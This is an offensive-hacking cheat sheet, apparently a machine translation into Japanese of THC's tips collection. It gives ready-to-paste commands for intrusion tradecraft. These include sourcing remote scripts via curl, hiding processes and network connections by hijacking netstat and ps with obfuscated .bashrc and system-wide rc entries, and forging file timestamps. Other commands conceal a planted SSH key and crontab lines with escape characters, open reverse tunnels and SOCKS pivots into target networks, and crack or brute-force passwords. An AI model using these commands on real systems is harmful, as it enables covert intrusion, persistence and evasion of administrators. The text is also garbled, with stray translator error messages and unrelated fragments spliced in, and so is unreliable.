
Various tips & tricks
私たちのお気に入りのトリック集です。これらのトリックの多くは私たちが作ったものではありません。私たちは単に収集しているだけです。
トリックは、なぜ機能するのかの説明なしに「そのまま」示します。仕組みと理由を理解するにはLinuxの知識が必要です。
トリックをお持ちですか? 参加してください https://thc.org/ops
BASHをより静かにする。 ~/.bash_history と その他多くのものを無効にする。```sh source <(curl -SsfL https://thc.org/hs)
代替 URL:```sh
source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
そして、curl/wget がない場合は、surl と、bin curl で (一時的に) インストールされた curl を使用します。```sh
source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
bin curl to (temporarily) install curl (in memory).HackShellはもっと多くのことを行いますが、最も重要なのは次のとおりです:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"
TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160
私たちは anew をよく使用しますが、これは簡単な回避策です:```shell
xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; }
which anew &>/dev/null || alias anew=xanew
ボーナスヒント:
「 」(スペース)で始まるコマンドも、[履歴に記録されません](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces)。```
$ id
これはプロセス名のみを隠します。zapperを使用すると、コマンドラインオプションも隠せます。```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'
バックグラウンドで '/usr/sbin/sshd' として隠された 'nmap' を起動します:```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)
GNU screen 内で開始:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24
screen -x MyName
あるいは、バイナリを新しい名前にコピーしてください:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24
またはバインドマウントを使用して、(一時的に) /sbin/init が代わりに /dev/shm/nmap を指すようにします:```shell mount -n --bind "$(command -v nmap)" /sbin/init
(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)
<a id="zap"></a>
**1.iii. コマンドラインオプションを隠す**
[zapper](https://github.com/hackerschoice/zapper) を使用します:```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper
Developer は、攻撃的セキュリティのための包括的なGitHub OPSECツールであり、環境とツール群を運用上安全にするのを支援するよう設計されています。```sh
./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24
(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)
exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux
<a id="bash-hide-connection"></a>
**1.iv. ネットワーク接続を隠す**
このトリックは、`netstat` を乗っ取り、grep を使って自分の接続を除外するというものです。この例では、ポート 31337 _または_ IP 1.2.3.4 への接続をすべてフィルタリングします。同様のことを、`ss`(netstat の代替)でも行う必要があります。
**方法 1 - ~/.bashrc 内の bash 関数で接続を隠す**
これをカット&ペーストして、~/.bashrc に行を追加します。```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc
または、/.bashrc への難読化エントリとして、これをカット&ペーストしてください:```shell
X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'
echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>/.bashrc
&& touch -r /etc/passwd ~/.bashrc
難読化された ~/.bashrc へのエントリは次のようになります:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG
方法2 - $PATH内のバイナリを使用して接続を隠す
/usr/local/sbin に偽の netstat バイナリを作成します。デフォルトの Debian (およびほとんどの Linux) では、PATH 変数 (echo $PATH) に /usr/local/sbin が /usr/bin の 前 にリストされます。つまり、ハイジャック用バイナリ /usr/local/sbin/netstat が /usr/bin/netstat の代わりに実行されることになります。```shell
echo '#! /bin/bash
exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat
*(iamaskid さん、ありがとう)*
<a id="hide-a-process-user"></a>
**1.v. ユーザーとしてプロセスを隠す**
「接続を隠す」からの続きとして、同じ手法でプロセスを隠すことができます。この例では、nmap プロセスを隠し、さらに `grep` を GREP にリネームすることで、プロセス一覧に `grep` が表示されないようにしています。```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc
これはroot権限を必要とし、/proc/<pid>の上に無意味なディレクトリをマウントするという古いLinuxのトリックです:```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" }
コマンドを非表示にするには、次のように使用します:```sh
hide # Hides the current shell/PID
hide 31337 # Hides process with pid 31337
hide sleep 1234 # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null & # Starts and hides 'sleep 1234' as a background process
(thanks to druichi for improving this)
上記では、~/.bashrc 内の1行を難読化する方法について説明しました。よく使われるトリックは、代わりに source を使うことです。source コマンドは . (そうです、ドット) に短縮でき、さらに $PATH 変数を検索してロードするファイルを見つけます。
この例では、スクリプト prng に上記のシェル関数がすべて含まれています。これらの関数は、nmap プロセスとネットワーク接続を隠します。最後に、システム全体の rc ファイルに . prng を追加します。これにより、ユーザー(および root)がログインしたときに prng がロードされます:```shell
echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }
ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc
(`lsof`、`ss`、`ls` でも同様に機能します)
<a id="cat"></a>
**1.viii. catから隠す**
ANSIエスケープ文字または単純な`\r`([キャリッジリターン](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/))を使用して、`cat`などから隠すことができます。
`~/.bashrc` に最後のコマンド(例: `id`)を隠します:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.
隠しcrontab行を追加する:```sh (crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\033[2K\033[1A") | crontab
`\r`(キャリッジリターン)を追加すると、`cat` から SSH キーを隠すのに大いに役立ちます:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).
注: 同じことは parallel でも実現できます。
20 の並列タスクでホストをスキャン:```sh cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'
- `exec` は、基盤となるシェルを最後のプロセス (nmap) に置き換えるために使用されます。これは任意ですが、実行中/不要なシェルバイナリの数を減らします。
- `${SLOT}` には 0..19 の値が格納されます。これは「タスク番号」です。nmap の結果を 20 個の別々のファイルに書き込むために使用します。
40 個のワーカーを使用して、すべての [gsocket](https://www.gsocket.io/deploy) ホストで [Linpeas](https://github.com/carlospolop/PEASS-ng) を実行します:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'
w や who コマンドに自分が表示されないようにし、ホストが ~/.ssh/known_hosts に記録されるのを防ぎます。```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"
PTYとカラーで完全な快適さを実現: `xssh [email protected]`:```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
local ttyp="$(stty -g)"
echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
stty raw -echo icrnl opost
[[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
"$@" \
"unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
stty "${ttyp}"
}
(Hackshell を参照)
ターゲットへのTCP接続を1つ確立し、複数のユーザーが同じTCP接続に相乗りして、追加のシェルセッションを開けるようにする。
マスター接続を作成する:```sh ssh -M -S .sshmux [email protected]
上記と同じ(単一の)Master-TCP 接続を使用して、さらにシェルセッションを作成します(パスワード/認証は不要):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .
xssh と組み合わせて、utmp から隠すことができます。
ローカルのファイアウォールやIPフィルタリングを回避するために、私たちはこれをいつも使っています:```sh ssh -g -L31337:1.2.3.4:80 [email protected]
これで、あなたや他の誰でも、自分のコンピュータのポート31337に接続し、1.2.3.4のポート80にトンネリングされ、送信元IPが 'server.org' として表示されるようになります。サーバーを必要としない別の方法としては、[gs-netcat](#backdoor-network) を使用する方法もあります。
賢いハッカーは、SSHに再接続することなくこれらのトンネルを動的に作成するために、キーの組み合わせ `~C` を使用します。(MessedeDegodに感謝)。
私たちはこれを使用して、パブリックインターネット上にない内部マシンへのアクセスを友人に提供します:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]
Anyone connecting to server.org:31338 will get tunneled to 192.168.0.5 on port 80 via your computer. An alternative and without the need for a server is to use gs-netcat.
OpenSSH 7.6 は動的フォワーディングのための socks サポートを追加します。例: ブラウザのすべてのトラフィックをサーバー経由でトンネリングします。```sh ssh -D 1080 [email protected]
次に、ブラウザーがSOCKSを127.0.0.1:1080で使用するように設定します。すべてのトラフィックは*server.org*を経由してトンネリングされ、送信元IPが*server.org*のものとして表示されます。サーバーを必要としない代替手段としては、[gs-netcat](#backdoor-network)を使用する方法があります。
これは上記の例の逆です。これにより、他のユーザーがあなたの*ローカル*ネットワークにアクセスできるようになるか、他のユーザーがあなたのコンピューターをトンネルのエンドポイントとして使用できるようになります。```sh
ssh -g -R 1080 [email protected]
The others configuring server.org:1080 as their SOCKS4/5 proxy. They can now connect to any computer on any port that your computer has access to. This includes access to computers behind your firewall that are on your local network. An alternative and without the need for a server is to use gs-netcat.
ssh-j.com は優れたリレーサービスを提供しています: NAT/ファイアウォールの背後にあるホストへ (SSH 経由で) アクセスするためのものです。
NAT の背後にあるホスト上で、次のように ssh-j.com へのリバース SSH トンネルを作成します:```sh
sshj() { local pw pw=${1,,} [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} }
sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN
次に、世界中のどこからでもこのコマンドを使用して、'root' として 'foobarblahblub' (NAT の背後にあるホスト) に接続します:```sh
ssh -J [email protected] root@foobarblahblub
SSH接続はssh-j.comを経由して、NATの背後にあるホストへのリバーストンネルに入ります。トラフィックはエンドツーエンドで暗号化されているため、ssh-j.comはその内容を見ることはできません。
SSH ProxyJumpは、リモートサーバーを操作する際に、時間と手間を大幅に節約できます。次のシナリオを想定しましょう。
私たちのワークステーションは$local-kaliで、$target-hostにSSH接続したいとします。ワークステーションと$target-hostの間には直接の接続はありません。ワークステーションから到達できるのは$C2だけです。$C2は(内部eth1を介して)$internal-jumphostに到達でき、$internal-jumphostはeth2を介して最終的な$target-hostに到達できます。```sh
$local-kali -> $C2 -> $internal-jumphost -> $target-host
eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135
eth2 172.16.2.120 172.16.2.121
> 私たちは信頼するワークステーション以外のどのコンピュータでも `ssh` を実行しません - そしてあなたも(決して)実行しないでください。
そこで ProxyJump が役立ちます: 私たちは2つの中間サーバー $C2 と $internal-jumphost を経由して「ジャンプ」できます(それらのサーバー上でシェルを起動することなく)。ssh 接続は私たちの $local-kali と $target-host の間でエンドツーエンドに暗号化され、$C2 や $internal-jumphost にパスワードや鍵が公開されることはありません。```sh
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]
## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]
私たちはこれを使って、サーバーにログインする際にIPアドレスを隠すこともしています。
非rootユーザーとしてSSHDサーバーを起動し、これを使用してTCP接続を多重化または転送する(ログを取らず、システム全体のSSHDが転送/多重化を禁止している場合)、または非rootで動作する迅速なexfil-dump-serverとして使用することが可能です:```sh
mkdir -p /.ssh 2>/dev/null
ssh-keygen -q -N "" -t ed25519 -f sshd_key
cat sshd_key.pub >>/.ssh/authorized_keys
cat sshd_key
$(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv
```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io
SSF は、TLS 上で TCP を多重化する別の方法です。
nmap -n -sn -PR -oG - 192.168.0.1/24
Please provide the Markdown content to translate.```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24
Input chunk is empty — no content was provided to translate. Please supply the chunk text.```sh
seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1
---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'
## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done
## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'
socat stdio openssl-connect:smtp.gmail.com:465
openssl s_client -connect smtp.gmail.com:465
- [Auto-Elevate](#auto-elevate)
- [概要](#overview)
- [対応する権限昇格ベクトル](#supported-privilege-escalation-vectors)
- [使用方法](#usage)
- [謝辞](#acknowledgments)
- [貢献](#contributing)
- [ライセンス](#license)```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork openssl-connect:smtp.gmail.com:465
パブリックIPアドレス上のTCPポートを必要とするリバースバックドアに便利です:
使用 segfault.net(無料):```sh
curl sf/port echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)" nc -vnlp $(cat /config/self/reverse_port)
[bore.pub](https://github.com/ekzhang/bore) (無料) を使用:```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub
serveo.net(無料)を使用:```sh
ssh -R 0:localhost:31337 [email protected]
[pinggy.io](https://www.pinggy.io) を使用(60分間無料):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]
関連項目: remote.moe(無料)はターゲットからワークステーションへの生のTCP転送に、playit(無料)またはngrok(有料サブスクリプション)はパブリックな生のTCPポートの転送に使用します。
その他の無料サービスはHTTPSのみの転送に限定されています(生のTCPは不可)。以下のいくつかのテクニックでは、WebSocketを使用してHTTPS転送上で生のTCPをトンネリングする方法を示します。
サーバー側では、次の3つのHTTPSトンネリングサービスのいずれかを使用します:```sh
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 chmod 755 cloudflared cloudflared tunnel --url http://localhost:8080 --no-autoupdate
どちらのサービスでも、使用するための新しい一時的なHTTPS-URLが生成されます。
次に、両端で[websocat](https://github.com/vi/websocat)または[Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service)を使用して、HTTPS URL経由で生のTCPをトンネリングします:
A. HTTPS経由のシンプルなSTDIN/STDOUTパイプ:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>
B. HTTPSを介してraw TCPを転送する:```sh
gost -L mws://:8080
ポート2222をサーバーのポート22に転送します。```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222
または、サーバーをSocks-ProxyのEXITノードとして使用します(例:サーバーのネットワーク内の任意のホスト、あるいはサーバー経由で(上記のHTTPSリバーストンネルを使用して)インターネットにすらアクセスできます):```sh
gost -L :1080 -F 'mwss://:443'
curl -x socks5h://0 ipinfo.io
詳細: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) と [Tunnel via Cloudflare to any TCP Service](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) と [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).
---
<a id="iptables"></a>
**3.iii.c iptablesでトラフィックをバウンスする**
ユーザーランドのプロキシやフォワーダーを実行せずに、ホスト/ルーターを介してバウンスする:```sh
bounceinit() {
echo 1 >/proc/sys/net/ipv4/ip_forward
echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
[ $# -le 0 ] && set -- "0.0.0.0/0"
while [ $# -gt 0 ]; do
iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188
shift 1
done
iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce
(Hackshell の bounce を参照)
次に、フォワードを以下のように設定します:```sh bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port. bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost) bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443
ファイアウォールで保護されたネットワークの奥深くから gsocket-relay-network(または TOR)に到達するために、このトリックを使用します。```sh
# Deploy on a target that can only reach 192.168.0.100
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh
# Access the target
GS_HOST=213.171.212.212 gs-netcat -i -s ...
ターゲットネットワーク内のホスト上で有用です。このツールは SHELL を(痕跡を残さずに)再設定します:この SHELL から起動されるすべてのプログラム(nmap、cme、...)は偽の IP を使用します。あなたの攻撃はすべて、存在しないホストから発信されます。```sh source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)
これは以下と組み合わせても機能します:
* [SegfaultのROOTサーバー](https://thc.org/segfault/wireguard): ROOTサーバーをターゲットネットワークに接続し、ターゲットネットワーク内でゴーストIPを使用します。
* [QEMUトンネル](https://securelist.com/network-tunneling-with-qemu/111803/): 上記と同様ですが、安全性は低くなります。
---
<a id="tunnel-more"></a>
**3.vi.d さまざまなトンネルのトリック**
### CDN経由のトンネル
* [CloudFlare経由で任意のTCPサービスをトンネリングする方法](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) を読むか、[DarkFlare](https://github.com/doxx/darkflare) を使用します。
### ホストをリモートネットワークに直接接続する
* [WireTap](https://github.com/sandialabs/wiretap) - ユーザーまたはrootとして動作します。トランスポートとしてUDPを使用します。(segfault上で[試す](https://thc.org/segfault/wireguard)。)
* [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - トランスポートとしてTCPを使用します。[cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) または gs-netcat 経由でうまく動作します。
### SSHをCloudflare経由の安価なリバースプロキシとして使用する
この方法は[HTTPSリバーストンネル](#https)に似ていますが、Gostやwebsocatの代わりにSSHを使用します。
- 利点: ターゲット上では*cloudflared*と*SSH*だけを使用します。
- 欠点: CFサブスクリプションが必要です。
1. CFダッシュボード -> Zero Trust -> Networks -> Tunnels に移動します。
2. 任意の名前の'Cloudflared'トンネルを新規作成します。
3. Debian & 64-bit を選択します。トークンは完全には表示されません。グレーアウトされた領域を別のドキュメントにコピーして、トークン全体(`sudo cloudflared service install <TunnelTokenHere>` の後の長い16進文字列)を表示し、「Token」を抽出します。
4. サブドメインを追加します(例では `ssh.team-teso.net` を使用します)。
5. Type=TCP URL=localhost:22 に設定します。```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere
Please provide the Markdown content to translate.```shell
ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080
The input chunk is empty — there is no content to translate. Please provide the actual chunk text.```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io
リバースプロキシ経由で他のプロトコルをトンネルするには、ProxyChainsまたはGrafTCPを使用します。
ターゲットのネットワーク上:```sh
gs-netcat -l -S
作業ステーション上で:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080
echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf proxychains -f pc.conf -q curl ipinfo.io
proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1
seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}
### GrafTCPの使用:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1
3.v. 自分のパブリックIPアドレスを調べる```sh curl -s wtfismyip.com/json | jq curl ifconfig.me dig +short myip.opendns.com @resolver1.opendns.com host myip.opendns.com resolver1.opendns.com
任意のIPアドレスの地理位置情報を取得:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8
IPアドレスからASN情報を取得する:```sh asn() { [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; } (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2 } asn 1.1.1.1 # Single IP Lookup cat IPS.txt | asn # Bulk Lookup
TORが動作しているか確認してください:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...
https://ping.pe/ の素晴らしい人々のおかげで、世界中からホストへの ping/traceroute/mtr/dig/ポートチェック、TCPポートの確認、ドメイン名の解決、...その他にも多くのことが行えます。
(現在の)ホストがどの程度インターネットに到達できるかを確認するには、OONI Probe を使用します:```sh ooniprobe run im ooniprobe run websites ooniprobe list ooniprobe list 1
---
<a id="check-open-ports"></a>
**3.vii. IP上の開いているポートの確認/スキャン**
[Censys](https://search.censys.io/) または [Shodan](https://internetdb.shodan.io) ポート検索サービス:```shell
curl https://internetdb.shodan.io/1.1.1.1
高速 (-F) 脆弱性スキャン```shell
nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org
nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org
開いているTCPポートのスキャン:```sh
_scan_single() {
local opt=("${2}")
[ -f "$2" ] && opt=("-iL" "$2")
nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
local port="${1:?}"
shift 1
for ip in "$@"; do
_scan_single "$port" "$ip"
done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254
(Hackshell の scan を参照)
シンプルな bash ポートスキャナー:```shell timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED
---
<a id="bruteforce"></a>
**3.viii. パスワードハッシュをクラックする**
1. [NTLM2password](https://ntlm.pw/) で NTLM パスワードをクラック(ルックアップ)する
2. [wpa-sec](https://wpa-sec.stanev.org) で WPA PSK パスワードをクラック(ルックアップ)する
HashCat は、それ以外すべての用途で使う定番ツールです。```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt
GPU上で10日間 7-16文字のハッシュマスクを使用:```sh curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask
nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2
OpenSSH の `known_hosts` ハッシュをクラックして IP アドレスを明らかにする:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt
👉 FAQ をお読みください。
$6$ ハッシュは非常に遅いことに注意してください。1-minute 7-16 char hashmask でも、8xRTX4090 クラスターでは完了までに数日かかります。
vast.ai で RTX-4090 GPU クラスターを $0.40/h でレンタルし、dizcza/docker-hashcat:cuda (詳細) を使用してください。
それ以外の場合は、Crackstation、shuck.sh、ColabCat/cloud/Cloudtopolis を使用するか、ご自身の AWS インスタンスでクラックしてください。
3.xi. ブルートフォースパスワード / キー
以下は、オンラインサービスのパスワードをブルートフォース(推測)するためのものです。
GMAIL アカウントをブルートフォースすることはできません。
GMAIL では SMTP AUTH/LOGIN は無効です。
GMail のブルートフォースおよびパスワードクラッキングツールはすべて偽物です。
すべてのツールは segfault にプリインストールされています:```shell ssh [email protected] # password is 'segfault'
(独自の [EXITノード](https://www.thc.org/segfault/wireguard) を使用するとよいでしょう)
ツール:
* [Ncrack](https://nmap.org/ncrack/man.html)
* [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html)
* [THC Hydra](https://sectools.org/tool/hydra/)
